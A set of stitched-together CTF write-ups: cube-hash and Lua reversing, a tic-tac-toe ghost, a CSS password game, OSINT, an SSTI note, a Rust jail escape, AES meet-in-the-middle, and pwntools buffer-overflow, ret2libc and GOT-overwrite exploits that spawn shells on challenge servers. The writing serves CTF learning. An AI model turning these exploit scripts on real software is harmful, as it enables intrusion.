def rotate_cub(buf, x, y): for i in range(CUBE_LENGTH//2): for j in range(i, CUBE_LENGTH_M1-i): v = read_a(buf, i, j, x, y) write_a(buf, i, j, x, y, read_a(buf, j, (CUBE_LENGTH_M1 - i), x, y)) write_a(buf, j, (CUBE_LENGTH_M1 - i), x, y, read_a(buf, (CUBE_LENGTH_M1 - i), (CUBE_LENGTH_M1 - j), x, y)) write_a(buf, (CUBE_LENGTH_M1 - i), (CUBE_LENGTH_M1 - j), x, y, read_a(buf, (CUBE_LENGTH_M1 - j), i, x, y)) write_a(buf, (CUBE_LENGTH_M1 - j), i, x, y, v)
def hashCube(s): hashVal = [convChar(ord(s[i])) for i in range(len(s))] bigBuffer = makeCube() for x in range(len(s)): for y in range(3): k3 = (hashVal[x] >> (y*2))&3 for k in range(k3): rotate_cub(bigBuffer, x, y) return bigBuffer```
Notable here are how the rotates are simplified in `read_a` and `write_a`.
To what is happening is that each character encodes how many spins (0-3) to do on every axis.

The amount of input that can be "hashed" is equal to the CUBE_LENGTH. Each characters "starting position" is `cube[i][i][i]` for a given index `i`.Of course unlike an actual Rubik's cube we have cubes within and we do not care about faces but cube positions (but I still think they are good for visualization).

For `i=1` the black bars here demonstrate the cubes that will be rotates (plus all the inner cubes).

And here for `i=2`.First thing to notice is that `cube[i][i][i]` is only ever getting rotated at index `i`. So the values in the fully "hashed" cube leak information about individual characters.Even more so, something my teammate [duk](https://nothing-ever.works/@duk) noticed (and these images make quite clear) is that for each index we have "subcubes" (going `cube[i-y][i-z][i-x]` for `0 < x,y,z < i+1`) that are never touched again and stay as they are - so in the "hashed" cube we have even more leaked information. ```pythondef unhashCube(targetCube, x=0, already="", ln=CUBE_LENGTH): if x == ln: return already convCubeT = hashCube(already)
sols = [] for c in range(0x30, 0x7f): conv = convChar(c) if conv == None: continue
convCube = copyCube(convCubeT) for y in range(3): k3 = (conv >> (y*2))&3 for k in range(k3): rotate_cub(convCube, x, y)
if convCube[x][x][x] != targetCube[x][x][x]: continue bad = False for i in range(x+1): for j in range(x+1): for k in range(x+1): if convCube[i][j][k] != targetCube[i][j][k]: bad = True break if bad: break if bad: break if not bad: sols.append(chr(c)) print(x, sols) for c in sols: res = unhashCube(targetCube, x+1, already+c, ln) if res is not None: return res return None def makeCubeFromBinary(): f = open("chall", "rb") data = f.read()[0x0002150:] f.close() import struct return [[[struct.unpack("<I", data[((y*0x28*0x28)+(z*0x28)+x)*4:][:4])[0] for x in range(CUBE_LENGTH)] for z in range (CUBE_LENGTH)] for y in range(CUBE_LENGTH)]
hashed = makeCubeFromBinary()print(unhashCube(hashed))```
Using this information we can bruteforce our way through the cube hash, by first filtering candidates by the `cube[i][i][i]` property and then using the inner "subcube" to filter even more.Effectively for everything except the first character (where there are no previous "subcubes") we reduce the possible character amount to 1 making this almost linear.
This will give us `flag{LuckyYouFoundMyPasswordInThisCube}0` as output, we ignore the `0` as it serves as filler and is equal to a null byte.
```$ ./challInput the password: flag{LuckyYouFoundMyPasswordInThisCube}Nice```
# Ghost
A wild ghost appeared! We can try our luck at scaring him away. Since you don't know how to use those magic spells yet, we asked our elders for a manual... which... they gave us? But.. Can you help me understand it and show your mastery of the Ghost-scaring by scaring this guy 50 times in a row?
## Solution
When running the ghost binary without arguments we are given quite a bit of information
```Usage: ./ghost_no_flag <total_numer_of_games> <minimax_search_depth>Typical examples values would be:total_numer_of_games: 1000minimax_search_depth: 32Exiting due to incorrect command-line arguments.```
Notable here are the amount of games and minimax_search_depth.

The main function calculates a random seed, prints it out and then starts games until all games have been played. Then it prints the flag - on the remote server it prints the real flag.

The actual game function does quite a lot of seemingly weird stuff, mostly because of optimized code.First of all an array gets shuffled based on the randomSeed, the current game index and the turn index.

This shuffled array is then used to communicate a possibly random choice the binary takes.
We as a user are offered the options between 1 and 12 to enter but the binary actually just takes `(inputNumber-1)%9` and puts our choice in that array spot.

After each turn the game checks whether a win conditions has been fulfilled and either makes the player, the program or nobody win.If the program wins the program exits - we need to prevent this from happening.
Now the interesting observation is that this is in fact a Tic-Tac-Toe game (which is also hinted at by the minimax parameter as it's a popular algorithm to solve the game).
So to solve this challenge we need to re implement the shuffle logic to keep track of the enemy turns and then use our own minimax implementation to always play a winning game or a draw.
A nice overview of how to implement this algorithm can be found [Here](https://thesharperdev.com/coding-the-perfect-tic-tac-toe-bot/ ).
```pythondef swap(shuffle, a, xorStuff, m): tmp = shuffle[a] shuffle[a] = shuffle[xorStuff%m] shuffle[xorStuff%m] = tmp def shuffeArray(gameIndex, iterationIndex, seed): shuffle = [i for i in range(13)] xorStuff = gameIndex^seed^iterationIndex
for i in range(12, 0, -1): swap(shuffle, i, xorStuff, i+1) return shuffle spookyArray = [ "*OoooOOOoooo*", "*Booooo-hoooo*", "*Eeeeek*", "*Hoooowl*", "*Sliiither*", "*Waaail*", "*Woooosh*", "*Eeeerie*", "*Creeeeeeak*", "*Haauuunt*", "*Woooo-woooo*", "*Gaaaasp*", "*Shiiivver*"]
def getEnemyTurn(msg, iterationIndex, gameIndex, seed): shuffle = shuffeArray(gameIndex, iterationIndex, seed) unshuffle = [0 for _ in range(0xd)] for i in range(0xd): unshuffle[shuffle[i]] = i unspookyMap = {}
for i in range(len(spookyArray)): unspookyMap[spookyArray[i]] = unshuffle[i]
return unspookyMap[msg]```
This is the implemented logic to translate the spooky noises given seed, game index and turn index.The full script is [here](ghost.py).
Running it against the remote gives the flag
```SUCCESS! flag{ghosts_can_play_tic_tac_toe_too}```
# The Password Game
Please choose a password.
## Solution
The password game provides us with a website which executes a complex circuit through CSS magic.Our goal is to enter something that matches 11 hidden rules.

Going through the `game-animator.min.js` and giving things more useful names shows that this is a system with 8 16-bit registers and 0x20000 bytes of RAM.
One interesting thing is that the css "animation" is triggered many times until a halt condition is reached.Each cycle represents something like an instruction and in between there is the very convenient `window.animationHook` function that is called that we can overwrite (of course we could also just modify the source for this).
```javascriptfunction decimalToHex(d) { var hex = Number(d).toString(16); hex = "0000".substr(0, 4 - hex.length) + hex; return hex;}window.animationHook = function() { var out = F.reduceRight((acc, cur) => cur[0]+": "+decimalToHex(R[cur[0]])+", "+acc, "")+" ha: "+B.ha; if(B.lf) { out = out+", lf: "+B.lf+", la: "+decimalToHex(R.la)+", ld: "+decimalToHex(M[R.la]); } if(B.sf) { out = out+", sf: "+B.sf+", sa: "+decimalToHex(R.sa)+", sd: "+decimalToHex(R.sd); } console.log(out);}```
Through this little added code (e.g. in the console or actually appended to the code) we get program traces from the password matching!
```R1: 1000, R2: 0002, R3: 0000, R4: 0000, R5: 0000, R6: 0001, R7: 0000, R8: 0009, ha: 0, lf: 1, la: 1000, ld: 0002R1: 0000, R2: 0002, R3: 0000, R4: 0000, R5: 0000, R6: 0001, R7: 0000, R8: 000a, ha: 0R1: 0024, R2: 0002, R3: 0000, R4: 0000, R5: 0000, R6: 0001, R7: 0000, R8: 000b, ha: 0R1: 0024, R2: 0002, R3: 0000, R4: 0000, R5: 0000, R6: 0001, R7: 0000, R8: 000c, ha: 0```
For example when we enter 2 characters, we fail very early and get the following trace.The password is stored in the format `[pwlen] [password]` at `0x1000`, so this reads the lengths and then fails.Notably here is that there is another number that is a viable length - 36.If we enter 36 characters we pass Rule 1 and a lot more computation happens directly afterwards.
Using this method of failing traces, and trying to make the program behave differently we can very easily deduce the first 8 rules:
Rule 1: The password has to be 36 charactersRule 2: The password needs to contain a numberRule 3: The password needs to contain an uppercase letterRule 4: Probably requirement for `{` and `}` lettersRule 5: The numbers in the password need to add up to 9Rule 6: The password needs to end with `}`Rule 7: The password starts with `flag{`Rule 8: All characters are valid printable ASCII letters
Rule 9 is a bit more complex.
It iterates for the following addresses and characters for each flag character:
```lf: 1, la: 0105, ld: 007blf: 1, la: 0107, ld: 0031lf: 1, la: 0109, ld: 0073lf: 1, la: 010b, ld: 0075lf: 1, la: 010d, ld: 0079lf: 1, la: 010f, ld: 0030lf: 1, la: 0111, ld: 0065lf: 1, la: 0113, ld: 0042lf: 1, la: 0115, ld: 0078lf: 1, la: 0117, ld: 0064lf: 1, la: 0119, ld: 0057lf: 1, la: 011b, ld: 0038lf: 1, la: 011d, ld: 004b```
And if they match a certain other character has to follow.Extracted this looks like this:
```pythondef applyRule9(arr): for i in range(len(arr)-1): if arr[i] == 0x7b: arr[i+1] = arr[i] ^ 15 elif arr[i] == 0x31: arr[i+1] = arr[i] ^ 66 elif arr[i] == 0x73: arr[i+1] = arr[i] ^ 44 elif arr[i] == 0x75: arr[i+1] = arr[i] ^ 25 elif arr[i] == 0x79: arr[i+1] = arr[i] ^ 38 elif arr[i] == 0x30: arr[i+1] = arr[i] ^ 66 elif arr[i] == 0x65: arr[i+1] = arr[i] ^ 58 elif arr[i] == 0x42: arr[i+1] = arr[i] ^ 58 elif arr[i] == 0x78: arr[i+1] = arr[i] ^ 28 elif arr[i] == 0x64: arr[i+1] = arr[i] ^ 51 elif arr[i] == 0x57: arr[i+1] = arr[i] ^ 111 elif arr[i] == 0x38: arr[i+1] = arr[i] ^ 115 elif arr[i] == 0x4b: arr[i+1] = arr[i] ^ 54 ```
Now to Rule 10:
This was a bit more trick to reverse.
On the following index pairs `[(6, 7), (0xa, 0xb), (0xe, 0xf), (0x13, 0x14), (0xd, 0x11), (0x1c, 0x1d)]` we are run through this checksum function to match the following hashes `[0xb9fe, 0xe249, 0x5d06, 0xa9df, 0x362c, 0x08ff]`.
```pythondef checksum(a, b): v0 = data191[a^0xff] v1 = data191[(((~v0)>>8)&0xff)^b] res = v1^((v0<<8)&0xff00) return res ```
This lookup table at address 0x191 can be dumped with `for(var i=0;i<0x100;i++) console.log(M[0x191+i]);` in the javascipt console.
The last Rule 11:
We currently have the following input `flag{th1s_is_truly_h0r??????mBxdW8K}`.So we are missing 6 characters. This last rule is difficult to do by trace analysis because in reality it creates instructions for the underlying machine from these letters.So instead of solving it "legit" we cheese!
First of all, from the `applyRule9` rules, all have been applied except the rule for the character `e`, which will unroll to `e_`.Looking at the words, the flag probably wants to say `this is truly horrible`.So we are at `flag{th1s_is_truly_h0r????e_mBxdW8K}`, missing `r`, `i`, `b` and `l`.The obvious one where they are all lowercase does not work, but there are only 16 options so we can just bruteforce them all.
In the end `flag{th1s_is_truly_h0rrIbLe_mBxdW8K}` is the correct flag.
 |
## Task> mirveal and d34th are known to use Twitter (errr.. X). Can you find a flag associated with mirveal on his social media?> > Submit the flag as: flag{flag_goes_here}. It’ll be obvious when you find it.
## SolutionSince there are no images or links provided in the challenge description we should check the [Ghost Town forum](https://ghosttown.deadface.io/) to find any useful info.
Searching with key term ‘twitter’, we can find [this thread](https://ghosttown.deadface.io/t/dark-web-dumps-anyone/101).
The first post

Mentions that d34th, who is also mentioned in the challenge description, has twitter. Maybe finding d34th’s twitter might help find Mirveal’s twitter account.
In another challenge (Slothy)[ d34th’s twitter account](https://twitter.com/D34th72915351) is stated.
Usually, friends follow each other, so maybe Mirveal follows d34th. To check this we can check d34th’s following page.

Where we can find [mirveal’s twitter account](https://twitter.com/Akio08641379).
[A link](https://mastodon.social/@akiomirveal) is in his bio, which is another social media platform profile of Mirveal.
Here, we can find the flag in his bio.

Therefore, the flag is `flag{0h_no_u_f0unD-ME}`
Thanks for reading! Happy hacking! |
when i just the website i tested ssti on input and here is the test:

it worked so i make sure to have RCE on that.

so yeah i have now rce and just need to cat flag
 |
The challenge is a Rust jail written in a simple bash script.
```#!/bin/bashecho "Your code please."
FOLDER=$(mktemp -d)cp flag.txt "$FOLDER"cd "$FOLDER"mkdir srccat <<EOF > Cargo.toml[package]name = "funsafe"version = "0.1.0"edition = "2021"[lib]name = "funsafe"path = "src/lib.rs"[[bin]]name = "funsafe-bin"path = "src/main.rs"[dependencies]ctor = "0.2"[profile.release]panic = "abort"EOF
read programecho "#![no_std] ${program//!/}" > src/lib.rsecho "use funsafe::fun; pub fn main() {fun()}" > src/main.rs
RUSTFLAGS="$RUSTFLAGS -Funsafe-code -Zsanitizer=address" timeout 20 cargo +nightly run --target x86_64-unknown-linux-gnu --release
rm -rf "$FOLDER"```
We can communicate with the bash script remotely via nc 52.59.124.14 10075.
From the bash script, we know that:- User input will be used for the content of src/lib.rs.- All occurences of ! are stripped, presumably to avoid any call to macro.- The code is prepended with #![no_std], which is a crate-level attribute that indicates that the crate will link to the core-crate instead of the std-crate.- Because of #![no_std], the code can’t use std directly such as println, process, or fs.- The main function in src/main.rs will call the fun() function in src/lib.rs.- The program is compiled with -Funsafe-code -Zsanitizer=address flags to forbid unsafe code and enable AddressSanitizer, presumably to avoid unsafe code such as direct call to Assembly from Rust and to harden the binary from memory corruption.
We discovered that we actually can still load std even if #![no_std] presents simply by using extern crate std. We can execute shell using std::process or read the flag.txt file using std::fs.
Example:
```extern crate std; use crate::std::io::BufRead; use crate::std::io::Write; pub fn fun() { if let Ok(file) = crate::std::fs::File::open("flag.txt") { if let Some(first_line) = crate::std::io::BufReader::new(file).lines().next() { if let Ok(line) = first_line { crate::std::io::stdout().write_all(line.as_bytes()).unwrap(); } } } }``` |
# guessinggame
No one seems to be able to guess my favorite animal... Can you?
`nc chal.pctf.competitivecyber.club 9999`
## Solution
I brought it to IDA and here are the pseudocode generated from there that I looked at.**main()**
```cint __cdecl main(int argc, const char **argv, const char **envp){ puts("Hello there, friend! Can you guess my favorite animal?"); check("Hello there, friend! Can you guess my favorite animal?", argv); return 0;}```
**check()**
```cint check(){ int result; // eax char s2[8]; // [rsp+8h] [rbp-138h] BYREF char s1[300]; // [rsp+10h] [rbp-130h] BYREF int v3; // [rsp+13Ch] [rbp-4h]
strcpy(s2, "Giraffe"); v3 = 0; printf("Input guess: "); gets(s1); if ( !strcmp(s1, s2) ) result = puts("That's not my favorite animal... I promise!"); else result = puts("ERRR! Wrong!"); if ( v3 ) { puts("I wasn't able to trick you..."); return outputFlag(); } return result;}```
Analyzing this function, we can see that `v3` needs to be set to `1` for us to get the flag. But of course, there is no way for us to directly do that. But as we can see, the input is actually saved into `s1` with the buffer size of `300` and right after that is where `v3` is. So essentially, we can send a payload that has `300` bytes of data with `\x01` added to it.```pythonpayload = f"{'A' * 0x12C}\x01"```
If we send this payload, it overflows `s1` and sets `v3` to `1` which outputs that flag:
```PCTF{1_l0v3_g1raff35_85036769}```
|
### Intuition
We can use a meet-in-the-middle technique to bruteforce the missing bytes.
### Solution
Simple bruteforce script:
```py#!/usr/bin/env python3from Crypto.Cipher import AESimport hashlibfrom threading import Thread
ct = b'7\xcf7\xce\xa6 \xbe\t\xba\x03\xe4\xac\x9e\x86\x85\xf5YZYa_7\xae\xa1\xe6\xc1\xd1\xad\xfb\x9c\x99s'plain = b'This is a non-secret message....'
everything_dec = {}everything_enc = {}
def find_dec(): for i in range(256): for j in range(256): for k in range(256): r = bytes([i, j, k]) k2 = r + b"A"*29 d = AES.new(k2, AES.MODE_ECB) dec = d.decrypt(ct[:16]) everything_dec[dec] = k2
def find_enc(): for i in range(256): for j in range(256): for k in range(256): r = bytes([i, j, k]) k1 = r + b"A"*29 e = AES.new(k1, AES.MODE_ECB) enc = e.encrypt(plain[:16]) everything_enc[enc] = k1
# Multi-thread them just for funt1 = Thread(target=find_dec)t2 = Thread(target=find_enc)
print("Starting threads...")
t1.start()t2.start()
t1.join()t2.join()
print("Searching results...")
for d in everything_dec.keys(): if d in everything_enc: print("Found!") print(everything_enc[d], everything_dec[d])```
Then apply the transformations explained in the description.
#### Flag
```CTF{91e6611654e4fe66d6876f728b8dfd54999ed752f89239ab82ecd9e520c1e003}``` |
## Challenge Description
Maybe you can get a free menu!!
Flag format: CTF{sha256}
### Intuition
Checksec the binary to see what we have.
```$ checksec restaurantLIBC_FILE=/lib/x86_64-linux-gnu/libc.so.6RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILEPartial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 70 Symbols No 0 2 restaurant```Partial RELRO and no PIE. Great! Let's decompile:
```cundefined8 custom(void){ char local_78 [112]; printf("Choose what you want to eat:"); gets(local_78); gets(local_78); return 0;}
undefined8 main(EVP_PKEY_CTX *param_1){ int local_c; init(param_1); puts("=============================="); puts(" MENU "); puts("=============================="); puts("1. Chessburger...............2$"); puts("2. Hamburger.................3$"); puts("3. Custom dinner............10$"); printf(">> "); __isoc99_scanf(&DAT_0040098c,&local_c); if (local_c == 2) { puts("2. Hamburger.................3$"); } else { if (local_c == 3) { custom(); } else if (local_c == 1) { puts("1. Chessburger...............2$"); return 0; } puts("Wrong choice"); } return 0;}```We see an obvious buffer overflow in ``custom``. We simply need to ROP into leaking the libc addresses with puts.
### Solution
```py#!/usr/bin/env python3
from pwn import *
#target = process("./restaurant")target = remote("35.198.129.115", 31756)
# Get addresses with ROPGadgetpop_rdi = p64(0x00000000004008a3)ret = p64(0x000000000040059e) # for aligning stack to 16-bytes again for system call
# Addresses from the binarymain_addr = p64(0x0040072a)puts_plt = p64(0x004005b0)puts_got = p64(0x00601018)
# Leak puts addresstarget.sendline(b"3")payload = b"a" * 0x78 + pop_rdi + puts_got + puts_plt + main_addr # go back to main for more inputstarget.sendline(payload)print(target.recvuntil(b">>"))puts_leak = u64(target.recvline().strip().split(b':')[1].ljust(8, b'\x00'))print(puts_leak)print(hex(puts_leak))
# Find the libc version at some point here manually
system_addr = p64(puts_leak - 0x31550) # offset found in libc databaseprint(system_addr)
# Get offset to /bin/sh from libc databasesh_addr = p64(puts_leak + 0x13337a)
payload = b"a" * 0x78 + ret + pop_rdi + sh_addr + system_addr
# Pop a shell, babytarget.sendline(payload)target.interactive()```
#### Flag
```CTF{33be4238b68642a4c3f97d10cfa034764e0b6d9707d6970f581200e2b7bcbfc0}``` |
## Challenge Description
Read books for inspiration so you know what to write!
Flag format: CTF{sha256}
### Intuition
Checksec the binary to see what we have.
```$ checksec bookLIBC_FILE=/lib/x86_64-linux-gnu/libc.so.6RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILEPartial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 74 Symbols No 0 4 book```We have PIE enabled but Partial RELRO. Partial RELRO might mean that we will overwrite GOT entries.
We decompile the binary and find a missing lower bound check for the index of the entry we read/write. We have arbitrary read/write primitives before the address of the todos list. Luckily, the GOT entries are before it. The main idea would be to leak a libc address, find the libc version and overwrite a function with ``system``.
### Solution
We can only leak an arbitrary amount of bytes, until a null byte is found, with the ``printf`` found in ``print_todo``.
```cvoid print_todo(void)
{ int iVar1; printf("Which entry would you like to read? "); fflush(stdout); iVar1 = read_int(); if (iVar1 < 0x81) { printf("Your NOTE: %s\n",todos + iVar1 * 0x30); } else { puts("Sorry but this model only supports 128 NOTE list entries.\n"); } return;}```The catch is, we can only read at offsets of ``0x30`` bytes from the beginning of the ``todos``. Luckily it is perfectly aligned with some GOT functions, but the ``"%s"`` format string will run into some issues if it finds the null byte. We choose to leak open as it is perfectly aligned at an offset of ``-4 * 0x30``. We get the address, determine the libc version manually using [libc database](https://libc.blukat.me/) and then determine the offset to ``system`` from ``open``. Luckily we only need the lower 3 bytes of the address from the leak, so the ``"%s"`` format won’t be too inconvenient.
We can use ``store_todo`` to write, again at offsets of ``0x30`` bytes from ``todos``. Below you can find a commented version of the exploit:
```py#!/usr/bin/env python3
from pwn import *
target = process("./book")#target = remote("34.89.131.150", 30325)
# Different offsets on local/remoteis_remote = Falseif is_remote: # libc6_2.31-0ubuntu9.9_amd64 system_offset = -0xbba50else: system_offset = -801120
# Addresses found in .got.plt and .data# PIE is enabled but we write relative to todos address and it will be finetodos_addr = 0x00104140open_gotplt_addr = 0x00104080
# Function to transform offsets to indices for todosdef get_offset_idx(addr): return (addr - todos_addr) // 48
# Leak open address using arbitrary read primitivetarget.sendline(b"sunbather")target.sendline(b"2")idx = get_offset_idx(open_gotplt_addr)target.sendline(str(idx).encode())target.recvuntil(b"Your NOTE: ")leak = target.recvline().strip()print(hex(leak[0]), hex(leak[1]))
# somewhere here we can manually search for the libc version
# Determine system addressopen_addr = int.from_bytes(leak, byteorder="little")system_addr = open_addr + system_offset
# Write relative to todosidx = get_offset_idx(open_gotplt_addr)target.sendline(b"3")target.sendline(str(idx).encode())
# Overwrite GOT entry of atoi# atoi is right next to open, which means we use the previous open leak# to keep open intactleak = leak + b"\x00" * (8 - len(leak)) if len(leak) < 8 else leak # this is just to make sure the leak has 8 bytes# then overwrite atoi with systempayload = leak + p64(system_addr)
print(b"sending:" + payload)
# pop a shell ;)target.sendline(payload)target.interactive()```
An important thing to add is that we choose ``atoi`` not only because it is easy to overwrite (right next to open), which allows us to keep the rest of the addresses in GOT intact, but also because the next input we give to the program will be directly passed to ``atoi``. Which means that if we replace it with ``system`` we pretty much get a shell.
#### Flag
```CTF{33b9fc73cf5667ace669b51470f10addd390f3abc6101b366ce0eaf239846fc2}``` |
# SunshineCTF 2023
## First Date
> I'm Excited, this is my first date in years but this time it's a Play Date!> > Sadly I'm locked out of it so if you could help me get in that would be great!>> Author: N/A>> [`first_date.pdx.zip`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/sunshinectf23/rev/first_date/first_date.pdx.zip)
Tags: _rev_
## SolutionFor this challenge we get a zip archive with two files in it. One is `pdxinfo` and the other is called `main.pdz`. The `file` tool doesn't recognize either, so we have to do some research. In `pdxinfo` we find two lines:
```bashpdxversion=20000buildtime=750024110```
Also `main.pdz` starts with `Playdate PDZ`. A quick google reveals that the file seems to be a file container for a [`Playdate`](https://play.date/) application. Playdate is a `tiny handheld game system` that can be ordered as hardware, but also a SDK for development is offered. Lets run the *game* in the emulator and see what's this all about.

Cool, there's some rapidly moving text some instructions. We can enter a code by pressing `A`, `B` or the `directional buttons`. If we do so, a number sequence appears. Nothing happens, so we continue with our inspection. In the log the application gives us another information.
```bashFigure out my code and I'll give you a flag!Turn the crank to reset the pin. 23:15:41: Loading: OK```
All right, we have to find the correct number sequence. Since we don't want to guess the sequence (and this is a reversing challenge) we have to understand how the program internals are working.
We can find some information about the `pdz` format [`here`](https://github.com/cranksters/playdate-reverse-engineering/blob/main/formats/pdz.md). The format is simple. The header contains a 12 byte identifier (`Playdate PDZ`) and 4 bytes that contain flags. The only flag that is possible tells us if the container contains encrypted data. The flag is not set in our case, so no encryption.
After the header a list of files is stored. Every file starts with a file entry header.
```bashuint8 Entry Flagsuint24 Entry Data Lengthstring Null Terminated Filename ```
The header is 4 byte aligned so there might be some padding bytes. After that comes the file data (zlib compressed if flag `0x80` is set) starting with 4 bytes that tell us the uncompressed data length. In the flag field also the entry type is stored. This can by `static images`, `animated images`, `video`, `audio`, `text strings`, `font` or `compiled Lua bytecode`. In our case the container contains three file entrys, all compiled Lua bytecode:
```bashCoreLibs/stringCoreLibs/graphicsmain```
Extracting those files is easy enough (per script, binwalk, or just manually from a hexeditor like i did). After decompression we have three files containing Lua bytecode. The `file` command is even nice enough to tell us that the Lua version is `5.4`, pretty new.
```bash$ file main.luacmain.luac: Lua bytecode, version 5.4```
To get more information we have to decompile the bytecode. There are a lot of decompilers [`luadec`](https://github.com/viruscamp/luadec), [`unluac`](https://sourceforge.net/projects/unluac/), [`RustyLuaDec`](https://github.com/dondish/RustyLuaDec) or some [`online decompilers`](https://luadec.metaworm.site/), [`like this`](https://Lua-bytecode.github.io/). But many don't support new Lua versions and none of them worked even if Lua 5.4 was supported.
In this case we have to do the work on our own. The plan is to get Lua 5.4 and use `luac -l` to dump the dissasembly. With this we can reconstruct the Lua code ourself. Lets do this!
We can get all released Lua versions from [`here`](http://www.Lua.org/ftp/).
```bashcurl -R -O http://www.lua.org/ftp/lua-5.4.6.tar.gztar zxf lua-5.4.6.tar.gzcd lua-5.4.6make all test```
After successfully building we can start disassembling the bytecode.
```bash$ ./luac -l first_date.pdx/main.luac./luac: first_date.pdx/main.luac: bad binary format (lua_Integer size mismatch)```
What?? The file can't be read. So we have to troubleshoot a bit. Lets see where Lua throws this message at us:
```cstatic void checkHeader (LoadState *S) { /* skip 1st char (already read and checked) */ checkliteral(S, &LUA_SIGNATURE[1], "not a binary chunk"); if (loadByte(S) != LUAC_VERSION) error(S, "version mismatch"); if (loadByte(S) != LUAC_FORMAT) error(S, "format mismatch"); checkliteral(S, LUAC_DATA, "corrupted chunk"); checksize(S, Instruction); checksize(S, lua_Integer); checksize(S, lua_Number); if (loadInteger(S) != LUAC_INT) error(S, "integer format mismatch"); if (loadNumber(S) != LUAC_NUM) error(S, "float format mismatch");}```
All right, Lua is checking the header. We open a hexeditor on the side to check all the fields manually.
```Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 1B 4C 75 61 54 00 19 93 0D 0A 1A 0A 04 04 04 78 .LuaT..“.......x00000010 56 00 00 00 40 B9 43 01 8A 40 6D 61 69 6E 2E 6C V...@¹C.Š@main.l```
The signature is fine `\x1bLua` and also the version field matches `major version 5, minor version 4`. The next check tests for the byte sequence `\x19\x93\r\n\x1a\n` and also seems fine. After this some data-type sizes are checked. We have
```bashInstruction 4 bytelua_Integer 4 bytelua_Number 4 byte```
And here the error is thrown, since our build uses 64 bit integers (so 8 bytes) and no 32 bit integers. Soooo, we need to rebuild with the correct integer size. The data types are defined in `luaconf.h` and luckily there is this line we can change to build with the correct integer size.
```c/*@@ LUA_32BITS enables lua with 32-bit integers and 32-bit floats.*/#define LUA_32BITS 1```
Perfect, now we just have to rebuild and then we finally can get our disassembly.
```bash$ ./luac -l first_date.pdx/main.luac
main <main.lua:0,0> (54 instructions at 0x55df3152bc90)0+ params, 8 slots, 1 upvalue, 1 local, 36 constants, 6 functions 1 [1] CLOSURE 0 0 ; 0x55df3152c780 2 [1] GETUPVAL 0 0 ; _ENV 3 [1] LOADK 1 1 ; "CoreLibs/graphics" 4 [1] TEST 0 0 5 [3] GETUPVAL 0 0 ; _ENV 6 [3] LOADK 1 3 ; "Figure out my code and I'll give you a flag!" 7 [3] TEST 0 0 8 [4] GETUPVAL 0 0 ; _ENV 9 [4] LOADK 1 4 ; "Turn the crank to reset the pin. " 10 [4] TEST 0 0 11 [6] GETUPVAL 0 0 ; _ENV...
21 [77] GETUPVAL 4 1 ; _ENV 22 [77] GETTABLE 4 4 9 23 [77] GETUPVAL 5 1 ; _ENVSegmentation fault```
It segfaulted? Maybe we are using the wrong release? At this point I tried all 4.5.x releases, but the result was always the same. Taking a step back, and reading some more documentation about `Playdate`, we can find a good information on this [`site`](https://github.com/cranksters/playdate-reverse-engineering/blob/main/formats/luac.md).
> To maintain backwards-compatibility with Lua 5.4-beta bytecode from pre-release versions of the Playdate SDK, additional Lua 5.4.3 opcodes were appended to the opcode map like so:
Ah, Playdate uses a customized Lua version that is based on Lua 5.4.3 with some custom bytecodes. That makes sense. And even better, on the overview page there is a link to [`this`](https://github.com/scratchminer/lua54) fork of lua that `aims to match the custom tweaks that Panic added for Playdate-flavoured Lua`. Perfect, so we grab this version, build it and try to dump the disassembly another time, and this time, it works [`like magic`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/sunshinectf23/rev/first_date/main_disasm.txt).
Now we can start manual decompilation. I used [`Lua Bytecode Explorer`](https://www.luac.nl/s/14fbea26ac382adff23862142a) to validate if the generated bytecode is the same of my Lua code and went line by line recreating the [`Lua source`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/sunshinectf23/rev/first_date/main_disasm.txt) from the disassembly.
```luamain <main.lua:0,0> (54 instructions at 0x55e297fecc80)0+ params, 8 slots, 1 upvalue, 1 local, 36 constants, 6 functions 1 [1] VARARGPREP 0 2 [1] GETTABUP 0 0 0 ; _ENV "import" 3 [1] LOADK 1 1 ; "CoreLibs/graphics" 4 [1] CALL 0 2 1 ; 1 in 0 out -- print("Figure out my code and I'll give you a flag!") 5 [3] GETTABUP 0 0 2 ; _ENV "print" 6 [3] LOADK 1 3 ; "Figure out my code and I'll give you a flag!" 7 [3] CALL 0 2 1 ; 1 in 0 out -- print("Turn the crank to reset the pin. ") 8 [4] GETTABUP 0 0 2 ; _ENV "print" 9 [4] LOADK 1 4 ; "Turn the crank to reset the pin. " 10 [4] CALL 0 2 1 ; 1 in 0 out -- playdate.display.setRefreshRate(50) 11 [6] GETTABUP 0 0 5 ; _ENV "playdate" 12 [6] GETFIELD 0 0 6 ; "graphics" 13 [7] GETTABUP 1 0 5 ; _ENV "playdate" 14 [7] GETFIELD 1 1 7 ; "display" 15 [7] GETFIELD 1 1 8 ; "setRefreshRate" 16 [7] LOADI 2 50 17 [7] CALL 1 2 1 ; 1 in 0 out -- playdate.setBackgroundColor(---) 18 [9] GETFIELD 1 0 9 ; "setBackgroundColor" 19 [9] GETFIELD 2 0 10 ; "kColorWhite" 20 [9] CALL 1 2 1 ; 1 in 0 out -- _ENV["generateFlag"] = generateFlag -- _ENV["makeTextDisplayable"] = makeTextDisplayable 21 [17] CLOSURE 1 0 ; 0x55e297fed770 22 [11] SETTABUP 0 11 1 ; _ENV "generateFlag" 23 [32] CLOSURE 1 1 ; 0x55e297feda20 24 [19] SETTABUP 0 12 1 ; _ENV "makeTextDisplayable" -- _ENV["noiseSeed"] = 1234567 -- math.randomseed(noiseSeed)
...```
At the beginning some global variables are initialized with some values and function pointers. There is a interesting looking function called `generateFlag` and a random seed constant that could come in handy later.
After I went through the whole disassembly this is what produced pretty much 100% the compiled bytecode (mind, I left out some functions that where not of interest):
